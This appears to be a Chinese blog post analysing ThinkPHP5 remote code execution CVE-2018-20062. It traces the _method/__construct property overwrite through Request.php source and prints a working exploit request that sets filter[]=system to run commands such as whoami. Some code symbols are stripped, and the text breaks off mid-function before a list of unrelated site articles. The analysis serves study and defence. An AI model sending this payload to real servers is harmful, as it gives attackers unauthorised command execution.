ThinkPHP5 5.0.23 RCE 漏洞原理与复现过程一、漏洞基本信息漏洞编号:CVE-2018-20062漏洞类型:未授权远程代码执行(RCE)影响版本ThinkPHP 5.0.x ≤5.0.23ThinkPHP 5.1.x 5.1.31漏洞简述:框架在处理_method伪请求方法时,对用户可控参数过滤不严,攻击者可以调用Request类任意方法,配合filter参数调用call_user_func,执行任意 PHP 函数,实现系统命令执行,无需登录。二、漏洞基本原理ThinkPHP 的_method参数:浏览器默认只能发 GET、POST 请求。但是 REST 接口需要 PUT、DELETE。ThinkPHP 为了方便,允许POST 请求里带一个参数_method,用来伪装成别的请求方式。比如 POST 提交_method=put,框架就认为这次是 PUT 请求。底层逻辑:把_method的值,当成一个方法名,去调用对应的处理方法。这里我们可以来看一下原版Request.php中对应的获取请求类型的方法:/** * 当前的请求类型 * @access public * @param bool $method true 获取原始请求类型 * @return string */publicfunctionmethod($method=false){if(true===$method){// 获取原始请求类型return$this-server('REQUEST_METHOD')?:'GET';}elseif(!$this-method){if(isset($_POST[Config::get('var_method')])){$this-method=strtoupper($_POST[Config::get('var_method')]);$this-{$this-method}($_POST);}elseif(isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])){$this-method=strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);}else{$this-method=$this-server('REQUEST_METHOD')?:'GET';}}return$this-method;// 返回请求类型}通过分析源码我们可以发现 该方法在:if(isset($_POST[Config::get('var_method')]))的时候,设置了$this-method为 POST提交参数中的Config::get('var_method'),在config.php配置文件中配置默认值就是字符串_method当前端传入的参数_method=__construct时,$this-method = "__CONSTRUCT"之后通过$this-{$this-method}($_POST);调用__construct这个魔术方法,把整个$_POST数组作为参数传给__construct()如果在发送POST数据包是参数是:POST /index.php?s=captcha HTTP/1.1 Host: target Content-Type: application/x-www-form-urlencoded _method=__constructfilter[]=systemmethod=getserver[REQUEST_METHOD]=whoami(记下这个EXP请求的参数格式,后面会用到),那么$_POST原始数组:$_POST=['_method'='__construct','filter'=["system"],'method'="get",'server'=['REQUEST_METHOD'='whoami']];漏洞点就在这里:框架没有校验这个_method能不能是 PHP 类的魔术方法。在 PHP 类中存在一个魔术方法__construct这是类的构造函数。只要创建这个类的新对象,就会自动执行__construct()。但是!PHP 还有一个特性:你可以手动指定,直接去调用对象-__construct(),不用新建对象。在Request.php中__construct()方法的代码如下:/** * 构造函数 * @access protected * @param array $options 参数 */protectedfunction__construct($options=[]){foreach($optionsas$name=$item){if(property_exists($this,$name)){$this-$name=$item;}}if(is_null($this-filter)){$this-filter=Config::get('default_filter');}// 保存 php://input$this-input=file_get_contents('php://input');}该方法会循环遍历$options数组,通过property_exists方法判断 Request 类有没有对应的这个成员属性,如果有则将其值进行覆盖,property_exists($this,'_method'):Request 类没有定义_method这个成员属性,所以循环遇到_method这一项直接跳过,不会覆盖。覆盖过程如下:property_exists($this,'filter')为 true -$this-filter = ["system"];property_exists($this,'method')为 true -$this-method = "get";property_exists($this,'server')为 true -$this-server = ['REQUEST_METHOD'='whoami'];被覆盖的 filter 属性值会作为全局过滤函数使用。在method(true) → server('REQUEST_METHOD') → input() → filterValue()的调用链中:// thinkphp/library/think/Request.phpprotectedfunctiongetFilter($filter,$default){if(is_null($filter)){$filter=[];}else{$filter=$filter?:$this-filter;// 使用被覆盖的 filter 值}$filter[]=$default;return$filter;}publicfunctionserver($name='',$default=null,$filter=''){if(empty($this-server)){$this-server=$_SERVER;}if(is_array($name)){return$this-server=array_merge($this-server,$name);}return$this-input($this-server,false===$name?false:strtoupper($name),$d
企业数字化 ERP 产品动态
相关推荐
Multi-Agent 系统的关键:如何决定下一步 完成职责划分后,接下来要解决的是 Multi-Agent 系统如何运行,也就是控制流(Control Flow)的问题。
比如,研究 Agent 已经返回结果,下一步交给写作 Agent,还是先让审校 Agent 检查资料ÿ… · 2026/9/24 6:11:59
树莓派5摄像头实战:从硬件连接到libcamera编程完全指南 /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/24 6:11:47
PostGraphile 数据库函数画廊:用 PostgreSQL 函数驱动自定义查询、计算列与自定义 Mutation 后端API网关 【免费下载链接】crystal 🔮 Graphiles Crystal Monorepo; home to Grafast, PostGraphile, pg-introspection, pg-sql2 and much more! 项目地址: https://gitcode.com/gh_mirrors/cry/crystal 点击查看 免费下载 PostGraphile 的核心设计… · 2026/9/24 6:11:28
稳定无广告!电脑必备免费办公套件 给大家安利一款干净又好用的办公软件——LibreOffice。 很多人不知道这款开源神器,它可以直接平替Office和WPS,永久免费使用,没有任何弹窗广告,也不需要繁琐的激活步骤。 深度兼容所有办公文档格式,平时的Word、Ex… · 2026/9/24 7:03:59
Formily Reactive React 的 observer 与 Observer:让函数组件与响应式数据深度绑定 前端UI组件 【免费下载链接】formily 📱🚀 🧩 Cross Device & High Performance Normal Form/Dynamic(JSON Schema) Form/Form Builder -- Support React/React Native/Vue 2/Vue 3 项目地址: https://gitcode.com/gh_mirrors… · 2026/9/24 7:03:16
codeburn sync 技术全解:从 OIDC/PKCE 认证到 OTLP 遥测推送的本地优先架构 【免费下载链接】codeburn Free, local tool to track AI coding token usage and cost across 37 tools and agents (Claude Code, Cursor, Codex, Gemini and more), by model, project, and task. npx codeburn 项目地址: https://gitcode.com/gh_mirrors/co/cod… · 2026/9/24 7:03:10
Buck芯片参数耦合实操指南:电感选型、BOOT电阻与COT架构 /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/24 7:03:10
码道:从零构建一个学生管理 API:FastAPI 内存版 CRUD 项目实战 从零构建一个学生管理 API:FastAPI 内存版 CRUD 项目实战作者:Student API Team
字数:约 3200 字
配套项目:https://atomgit.com/gcw_kYaAa94B/bigdata-atomcode-demo一、写在前面:为什么会有这样一个项目
在日常的后端… · 2026/9/24 7:03:03
基于YOLOv8的渔船作业监控系统:从环境搭建到边缘部署全流程 简介:这是一套面向计算机、人工智能、自动化等专业学生与教师的毕业设计级项目资源,围绕YOLOv8实现渔船作业监控系统,可用于毕设、课程设计、大作业或项目立项演示。压缩包共97个文件,约24.21MB,以70个Python源码文件为… · 2026/9/24 0:00:13
1D-CNN时间序列建模实战:从Conv1d原理到工业落地 简介:面向时间序列数据建模的一维卷积神经网络完整实现,适合深度学习入门者及需要快速验证时序模型的研究者,能够从音频、文本、传感器或股价等序列中挖掘局部特征与时间依赖。压缩包体积很小,只有3KB,内含3个Python脚… · 2026/9/24 0:00:26
柔软的L:汉语语流中被忽视的舌肌张力控制 1. 这个“L”不是字母表里的L,而是舌尖上的L最近在几个方言群和语音教学社群里,反复看到有人发一句:“也说字母L:柔软的长舌”。初看以为是英语发音课笔记,点开才发现全是方言爱好者、播音系学生、语言康复师甚至戏曲演… · 2026/9/24 0:00:44